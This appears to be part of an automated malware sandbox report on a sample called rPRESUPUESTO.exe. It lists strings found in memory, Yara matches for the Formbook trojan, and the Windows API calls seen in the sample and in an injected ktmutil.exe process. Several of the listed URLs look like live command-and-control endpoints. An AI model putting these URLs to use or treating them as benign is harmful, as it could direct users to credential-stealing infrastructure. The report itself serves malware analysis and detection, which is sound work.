Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/webforward-mailforward
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.active24.com/weby/mojestranky
Source: rPRESUPUESTO.exe	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: ktmutil.exe, 00000009.00000002.4589157081.000000000480C000.00000004.10000000.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.00000000047EC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coinmao.com/irbt/?3hkl=slNhbLXpBjO8vl&4dV43tA=mqJtasd7r
Source: ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004032000.00000004.10000000.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004012000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: ktmutil.exe, 00000009.00000003.2514429611.0000000007568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ktmutil.exe, 00000009.00000002.4589157081.0000000004356000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000009.00000002.4590936412.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000004336000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.superstranka.cz/
Source: MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588635921.0000000003CEE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transelva.com/edi4/?4dV43tA=NUWN0h33C1Yyooj/Nqm5TKnDvFAfPsTlu/xXoo6GTaC/958/rmN21lJSbp33

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 5.2.rPRESUPUESTO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rPRESUPUESTO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2328576677.0000000001600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4590404042.0000000005560000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4586829537.0000000000180000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4588343221.0000000000720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4588414444.0000000000760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2328137343.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: 5.2.rPRESUPUESTO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 5.2.rPRESUPUESTO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2328576677.0000000001600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.4590404042.0000000005560000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.4586829537.0000000000180000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.4588343221.0000000000720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.4588414444.0000000000760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.4588318441.0000000004C60000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2329601584.00000000038F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2328137343.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2329601584.0000000002EF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.4588318441.0000000004260000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0042B623 NtClose,	5_2_0042B623
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812B60 NtClose,LdrInitializeThunk,	5_2_01812B60
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_01812DF0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_01812C70
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018135C0 NtCreateMutant,LdrInitializeThunk,	5_2_018135C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01814340 NtSetContextThread,	5_2_01814340
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01814650 NtSuspendThread,	5_2_01814650
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812B80 NtQueryInformationFile,	5_2_01812B80
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812BA0 NtEnumerateValueKey,	5_2_01812BA0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812BE0 NtQueryValueKey,	5_2_01812BE0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812BF0 NtAllocateVirtualMemory,	5_2_01812BF0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812AB0 NtWaitForSingleObject,	5_2_01812AB0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812AD0 NtReadFile,	5_2_01812AD0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812AF0 NtWriteFile,	5_2_01812AF0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812DB0 NtEnumerateKey,	5_2_01812DB0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812DD0 NtDelayExecution,	5_2_01812DD0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812D00 NtSetInformationFile,	5_2_01812D00
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812D10 NtMapViewOfSection,	5_2_01812D10
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812D30 NtUnmapViewOfSection,	5_2_01812D30
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812CA0 NtQueryInformationToken,	5_2_01812CA0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812CC0 NtQueryVirtualMemory,	5_2_01812CC0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812CF0 NtOpenProcess,	5_2_01812CF0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812C00 NtQueryInformationProcess,	5_2_01812C00
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812C60 NtCreateKey,	5_2_01812C60
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812F90 NtProtectVirtualMemory,	5_2_01812F90
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812FA0 NtQuerySection,	5_2_01812FA0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812FB0 NtResumeThread,	5_2_01812FB0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812FE0 NtCreateFile,	5_2_01812FE0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812F30 NtCreateSection,	5_2_01812F30
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812F60 NtCreateProcessEx,	5_2_01812F60
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812E80 NtReadVirtualMemory,	5_2_01812E80
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812EA0 NtAdjustPrivilegesToken,	5_2_01812EA0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812EE0 NtQueueApcThread,	5_2_01812EE0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01812E30 NtWriteVirtualMemory,	5_2_01812E30
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01813090 NtSetValueKey,	5_2_01813090
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01813010 NtOpenDirectoryObject,	5_2_01813010
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018139B0 NtGetContextThread,	5_2_018139B0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01813D10 NtOpenProcessToken,	5_2_01813D10
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01813D70 NtOpenThread,	5_2_01813D70
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B94340 NtSetContextThread,LdrInitializeThunk,	9_2_02B94340
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B94650 NtSuspendThread,LdrInitializeThunk,	9_2_02B94650
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92AF0 NtWriteFile,LdrInitializeThunk,	9_2_02B92AF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92AD0 NtReadFile,LdrInitializeThunk,	9_2_02B92AD0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92BA0 NtEnumerateValueKey,LdrInitializeThunk,	9_2_02B92BA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	9_2_02B92BF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92BE0 NtQueryValueKey,LdrInitializeThunk,	9_2_02B92BE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92B60 NtClose,LdrInitializeThunk,	9_2_02B92B60
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92E80 NtReadVirtualMemory,LdrInitializeThunk,	9_2_02B92E80
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92EE0 NtQueueApcThread,LdrInitializeThunk,	9_2_02B92EE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92FB0 NtResumeThread,LdrInitializeThunk,	9_2_02B92FB0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92FE0 NtCreateFile,LdrInitializeThunk,	9_2_02B92FE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92F30 NtCreateSection,LdrInitializeThunk,	9_2_02B92F30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92CA0 NtQueryInformationToken,LdrInitializeThunk,	9_2_02B92CA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92C70 NtFreeVirtualMemory,LdrInitializeThunk,	9_2_02B92C70
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92C60 NtCreateKey,LdrInitializeThunk,	9_2_02B92C60
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92DF0 NtQuerySystemInformation,LdrInitializeThunk,	9_2_02B92DF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92DD0 NtDelayExecution,LdrInitializeThunk,	9_2_02B92DD0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92D30 NtUnmapViewOfSection,LdrInitializeThunk,	9_2_02B92D30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92D10 NtMapViewOfSection,LdrInitializeThunk,	9_2_02B92D10
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B935C0 NtCreateMutant,LdrInitializeThunk,	9_2_02B935C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B939B0 NtGetContextThread,LdrInitializeThunk,	9_2_02B939B0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92AB0 NtWaitForSingleObject,	9_2_02B92AB0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92B80 NtQueryInformationFile,	9_2_02B92B80
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92EA0 NtAdjustPrivilegesToken,	9_2_02B92EA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92E30 NtWriteVirtualMemory,	9_2_02B92E30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92FA0 NtQuerySection,	9_2_02B92FA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92F90 NtProtectVirtualMemory,	9_2_02B92F90
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92F60 NtCreateProcessEx,	9_2_02B92F60
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92CF0 NtOpenProcess,	9_2_02B92CF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92CC0 NtQueryVirtualMemory,	9_2_02B92CC0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92C00 NtQueryInformationProcess,	9_2_02B92C00
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92DB0 NtEnumerateKey,	9_2_02B92DB0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B92D00 NtSetInformationFile,	9_2_02B92D00
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B93090 NtSetValueKey,	9_2_02B93090
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B93010 NtOpenDirectoryObject,	9_2_02B93010
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B93D10 NtOpenProcessToken,	9_2_02B93D10
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_02B93D70 NtOpenThread,	9_2_02B93D70
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_001A8010 NtReadFile,	9_2_001A8010
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_001A80F0 NtDeleteFile,	9_2_001A80F0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_001A8190 NtClose,	9_2_001A8190
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_001A82E0 NtAllocateVirtualMemory,	9_2_001A82E0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 9_2_001A7EB0 NtCreateFile,	9_2_001A7EB0

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 0_2_0110DF14	0_2_0110DF14
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 0_2_07874320	0_2_07874320
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 0_2_0787D2F8	0_2_0787D2F8
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 0_2_07872AC1	0_2_07872AC1
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 0_2_078787A8	0_2_078787A8
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 0_2_07877768	0_2_07877768
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 0_2_07877330	0_2_07877330
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 0_2_078792CF	0_2_078792CF
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 0_2_078792E0	0_2_078792E0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 0_2_07876EF8	0_2_07876EF8
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 0_2_0787ECC0	0_2_0787ECC0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 0_2_078789F8	0_2_078789F8
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00402800	5_2_00402800
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0042DA63	5_2_0042DA63
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00403207	5_2_00403207
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00403210	5_2_00403210
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_004022CC	5_2_004022CC
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_004022D0	5_2_004022D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0041028D	5_2_0041028D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00410293	5_2_00410293
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00416BFE	5_2_00416BFE
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00416C03	5_2_00416C03
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_004024CC	5_2_004024CC
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_004024D0	5_2_004024D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00402C8B	5_2_00402C8B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00402C90	5_2_00402C90
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_004104B3	5_2_004104B3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0040E52A	5_2_0040E52A
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0040E533	5_2_0040E533
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00402EC0	5_2_00402EC0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_00402EBB	5_2_00402EBB
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A01AA	5_2_018A01AA
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018941A2	5_2_018941A2
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018981CC	5_2_018981CC
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D0100	5_2_017D0100
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187A118	5_2_0187A118
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01868158	5_2_01868158
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01872000	5_2_01872000
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A03E6	5_2_018A03E6
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017EE3F0	5_2_017EE3F0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189A352	5_2_0189A352
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018602C0	5_2_018602C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01880274	5_2_01880274
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A0591	5_2_018A0591
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0535	5_2_017E0535
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0188E4F6	5_2_0188E4F6
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01884420	5_2_01884420
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01892446	5_2_01892446
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0770	5_2_017E0770
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DC7C0	5_2_017DC7C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01804750	5_2_01804750
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FC6E0	5_2_017FC6E0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F6962	5_2_017F6962
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018AA9A6	5_2_018AA9A6
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E29A0	5_2_017E29A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E2840	5_2_017E2840
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017EA840	5_2_017EA840
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180E8F0	5_2_0180E8F0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017C68B8	5_2_017C68B8
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01896BD7	5_2_01896BD7
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189AB40	5_2_0189AB40
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DEA80	5_2_017DEA80
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017EAD00	5_2_017EAD00
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187CD1F	5_2_0187CD1F
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017DADE0	5_2_017DADE0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F8DBF	5_2_017F8DBF
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01880CB5	5_2_01880CB5
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0C00	5_2_017E0C00
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D0CF2	5_2_017D0CF2
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185EFA0	5_2_0185EFA0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017ECFE0	5_2_017ECFE0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01822F28	5_2_01822F28
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01800F30	5_2_01800F30
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D2FC8	5_2_017D2FC8
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01882F30	5_2_01882F30
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01854F40	5_2_01854F40
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189CE93	5_2_0189CE93
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E0E59	5_2_017E0E59
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189EEDB	5_2_0189EEDB
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189EE26	5_2_0189EE26
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F2E90	5_2_017F2E90
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CF172	5_2_017CF172
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017EB1B0	5_2_017EB1B0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018AB16B	5_2_018AB16B
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0181516C	5_2_0181516C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0188F0CC	5_2_0188F0CC
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018970E9	5_2_018970E9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189F0E0	5_2_0189F0E0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E70C0	5_2_017E70C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0182739A	5_2_0182739A
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CD34C	5_2_017CD34C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189132D	5_2_0189132D
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018812ED	5_2_018812ED
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FB2C0	5_2_017FB2C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E52A0	5_2_017E52A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187D5B0	5_2_0187D5B0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A95C3	5_2_018A95C3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01897571	5_2_01897571
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D1460	5_2_017D1460
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189F43F	5_2_0189F43F
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189F7B0	5_2_0189F7B0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018916CC	5_2_018916CC
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01825630	5_2_01825630
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E9950	5_2_017E9950
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FB950	5_2_017FB950
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01875910	5_2_01875910
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184D800	5_2_0184D800
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E38E0	5_2_017E38E0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01855BF0	5_2_01855BF0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0181DBF9	5_2_0181DBF9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189FB76	5_2_0189FB76
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FFB80	5_2_017FFB80
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01825AA0	5_2_01825AA0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187DAAC	5_2_0187DAAC
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01881AA3	5_2_01881AA3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0188DAC6	5_2_0188DAC6
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0189FA49	5_2_0189FA49
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01897A46	5_2_01897A46
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01853A6C	5_2_01853A6C
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017E3D40	5_2_017E3D40
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FFDC0	5_2_017FFDC0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01891D5A	5_2_01891D5A
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01897D73	5_2_01897D73
